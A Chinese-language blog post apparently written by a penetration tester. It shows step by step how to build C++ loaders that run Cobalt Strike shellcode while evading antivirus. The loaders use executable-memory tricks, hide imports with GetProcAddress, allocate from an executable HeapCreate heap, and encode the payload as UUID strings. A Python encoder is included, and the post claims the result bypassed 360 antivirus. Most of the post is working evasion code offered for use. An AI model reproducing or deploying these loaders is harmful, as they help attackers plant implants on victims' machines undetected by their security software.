在渗透的过程中会经常遇到对方机器安装了杀软的情况,这时就需要用到免杀技术,之前钓鱼邮件中提到的免杀是用GO写的,但我觉得这种东西还是更靠近计算机底层为好,正好这几天看了倾旋大佬的博客,对于用c++来实现恶意代码逃逸学到了很多,特此记录
简单的加载shellcode
首先我们要让cobalt strike生成的shellcode运行起来一共就三个步骤
- 申请计算机内存
- 将shellcode加载进内存
- 执行这一段内存
上面三个步骤对应的代码为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| #include <Windows.h> using namespace std;
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b......";
int main() { int size = sizeof(buf); LPVOID exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); RtlMoveMemory(exec, buf, size); ((void(*)())exec)(); return 0; }
|
将以上代码生成的exe直接运行就可以上线CS了,但如果有杀软的话就会直接报毒

针对这一情况,我们将采取一系列的措施来绕过
免杀操作
申请可读写内存页
杀软对于可执行内存页
的申请监控是非常严格的,所以我们可以先申请一个普通的可读写内存页
,再通过VirtualProtect改变它的属性为可执行,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| #include <Windows.h> using namespace std;
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b......";
int main() { DWORD oldProtect; int size = sizeof(buf); LPVOID exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_READWRITE); RtlMoveMemory(exec, buf, size); VirtualProtect(exec, size, PAGE_EXECUTE, &oldProtect); ((void(*)())exec)(); return 0; }
|
修改导入地址表
在Windows操作系统中,当可执行文件或动态链接库(DLL)被加载时,系统需要知道它们所依赖的其他DLL中的函数的地址。这些地址被存储在导入地址表
(Import Address Table,简称IAT)中。IAT是一个由系统自动创建和维护的数据结构,它包含了导入模块中所有需要从其他模块中引用的函数的地址。
当一个模块被加载时,系统会根据该模块的导入描述符中的信息,为IAT中的每个导入函数填充正确的地址。这个过程被称为导入解析。如果一个模块依赖的DLL没有被加载,或者被加载但是没有导出所需的函数,导入解析就会失败,并且模块无法正常工作。
我们可以通过peview
来查看导入表

而杀软针对导入表也有自己的判断逻辑,当发现了VirtualAlloc
、VirtualProtect
等敏感函数在导入表中时,会判断该文件为高危文件
我们可以使用GetProcAddress
函数来获取函数地址
GetProcAddress
是Windows API中的一个函数,它用于从动态链接库(DLL)中获取一个导出函数的地址。在Windows操作系统中,动态链接库是一种常见的代码共享机制,许多应用程序和系统组件都依赖于DLL中的函数。GetProcAddress
函数可以让程序在运行时动态地链接到DLL中的函数,而不必在编译时将DLL中的函数链接到程序中。
GetProcAddress
函数的原型如下:
1 2 3 4
| FARPROC GetProcAddress( HMODULE hModule, // DLL模块句柄 LPCSTR lpProcName // 导出函数名 );
|
其中,hModule
参数是DLL模块的句柄,可以使用GetModuleHandle
函数加载DLL并获取该句柄;lpProcName
参数是导出函数的名称,可以是一个字符指针,也可以是一个整数值,用于表示函数的序号。
首先是VirtualAlloc方法:
1 2 3 4 5
| typedef LPVOID(WINAPI* LPVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
LPVirtualAlloc myVirtualAlloc = (LPVirtualAlloc)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");
|
同理VirtualProtect方法:
1 2 3 4 5
| typedef BOOL(WINAPI* LPVirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
LPVirtualProtect myVirtualProtect = (LPVirtualProtect)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualProtect");
|
故代码转变为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| #include <Windows.h> using namespace std;
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b......";
typedef LPVOID(WINAPI* LPVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); typedef BOOL(WINAPI* LPVirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
int main() { DWORD oldProtect; LPVirtualAlloc myVirtualAlloc = (LPVirtualAlloc)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAlloc"); LPVirtualProtect myVirtualProtect = (LPVirtualProtect)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualProtect"); int size = sizeof(buf); LPVOID exec = myVirtualAlloc(0, size, MEM_COMMIT, PAGE_READWRITE); RtlMoveMemory(exec, buf, size); myVirtualProtect(exec, size, PAGE_EXECUTE, &oldProtect); ((void(*)())exec)(); return 0; }
|
此时用peveiw
查看导入表发现已经不见VirtualAlloc
和VirtualProtect
了

虽然导入表中已经没有VirtualAlloc
了,但依赖于其他技术,杀软还是能检测到代码中使用了VirtualAlloc
,也依旧还是会报毒
利用HeapCreate替代VirtualAlloc
HeapCreate
是 Windows API 中的一个函数,用于创建一个新的堆。函数原型如下:
1 2 3 4 5
| HANDLE HeapCreate( DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize );
|
参数说明:
flOptions
:是一个控制堆的标志位,可以是 HEAP_GENERATE_EXCEPTIONS
、HEAP_NO_SERIALIZE
、HEAP_ZERO_MEMORY
或它们的组合。
dwInitialSize
:指定堆的初始大小,单位为字节。
dwMaximumSize
:指定堆的最大大小,如果为 0,则表示堆的大小没有限制。
则原来的LPVOID exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
可以用以下代码替代:
1 2 3 4
| HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, size);
PVOID exec = HeapAlloc(hHeap, 0, sizeof(buf));
|
故整体代码为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| #include <Windows.h> using namespace std;
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b......";
int main() { int size = sizeof(buf); HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, size); PVOID exec = HeapAlloc(hHeap, 0, size); RtlMoveMemory(exec, buf, size); ((void(*)())exec)(); return 0; }
|
使用HeapCreate
可以躲避杀软对于VirtualAlloc
的”追杀“
但这样的exe还是会被杀,因为buf中的静态shellcode太明显了,我们需要对shellcode进行加密
shellcode加密
要说起shellcode加密方法,那可太多了,之前钓鱼用的异或+base64
可以尝试,同时倾旋大佬提到的UUID编码
也是一个不错的方法
UUID (通用唯一标识符)
是一个用于标识信息的 128 位数字,它可以保证在分布式计算环境中的唯一性。在 C/C++ 中,UUID 结构体通常被定义为一个包含 16 个字节的无符号字符数组,可以使用 Windows API 函数来生成 UUID 或将字符串转换为 UUID。
1 2 3 4
| typedef struct _UUID { unsigned char Data[16]; } UUID;
|
在 Windows 操作系统中,可以使用命令行工具 wmic
来查看系统的 UUID,命令为 wmic csproduct get UUID
。

我们可以使用python加密脚本来将生成的bin文件进行uuid加密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| from uuid import UUID import os import sys
print(""" ____ _ _______ _ _ _ _ _____ _____ | _ \(_) |__ __| | | | | | | |_ _| __ \ | |_) |_ _ __ | | ___ | | | | | | | | | | | | |___ | _ <| | '_ \| |/ _ \| | | | | | | | | | | | / __| | |_) | | | | | | (_) | |__| | |__| |_| |_| |__| \__ \ |____/|_|_| |_|_|\___/ \____/ \____/|_____|_____/|___/ \n""")
with open(sys.argv[1], "rb") as f: bin = f.read()
if len(sys.argv) > 2 and sys.argv[2] == "--print": outputMapping = True else: outputMapping = False
offset = 0
print("Length of shellcode: {} bytes\n".format(len(bin)))
out = ""
while(offset < len(bin)): countOfBytesToConvert = len(bin[offset:]) if countOfBytesToConvert < 16: ZerosToAdd = 16 - countOfBytesToConvert byteString = bin[offset:] + (b'\x00'* ZerosToAdd) uuid = UUID(bytes_le=byteString) else: byteString = bin[offset:offset+16] uuid = UUID(bytes_le=byteString) offset+=16
out += "\"{}\",\n".format(uuid)
if outputMapping: print("{} -> {}".format(byteString, uuid))
with open(sys.argv[1] + "UUIDs", "w") as f: f.write(out)
print("Outputted to: {}".format(sys.argv[1] + "UUIDs"))
|

然后将加密的shellcode加载到内存里去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| #include <Windows.h> #include <rpc.h> #include <iostream> #pragma comment(lib,"Rpcrt4.lib")
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") using namespace std; const char* buf[] = { "e48348fc-e8f0-00c8-0000-415141505251", "d2314856-4865-528b-6048-8b5218488b52", "728b4820-4850-b70f-4a4a-4d31c94831c0", "7c613cac-2c02-4120-c1c9-0d4101c1e2ed", "……", };
int main(int argc, char* argv[]) { int dwNum = sizeof(buf) / sizeof(buf[0]); HANDLE hMemory = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0); if (hMemory == NULL) { return -1; } PVOID pMemory = HeapAlloc(hMemory, 0, 1024); DWORD_PTR CodePtr = (DWORD_PTR)pMemory;
for (size_t i = 0; i < dwNum; i++) { if (CodePtr == NULL) { break; } RPC_STATUS status = UuidFromStringA(RPC_CSTR(buf[i]), (UUID*)CodePtr); if (status != RPC_S_OK) {
return -1; } CodePtr += 16; } if (pMemory == NULL) { return -1; } ((void(*)())pMemory)(); cout << "Hello World!\n"; return 0; }
|
其中涉及到一个UuidFromStringA
函数,该函数的作用是将一个字符串表示的 UUID 转换为一个 UUID 结构体类型的变量。其中,第一个参数是一个字符串,表示要转换的 UUID,第二个参数是一个指向 UUID 结构体类型的指针变量,表示转换后的结果。
生成的exe成功在360免杀(2023.6.15测试)
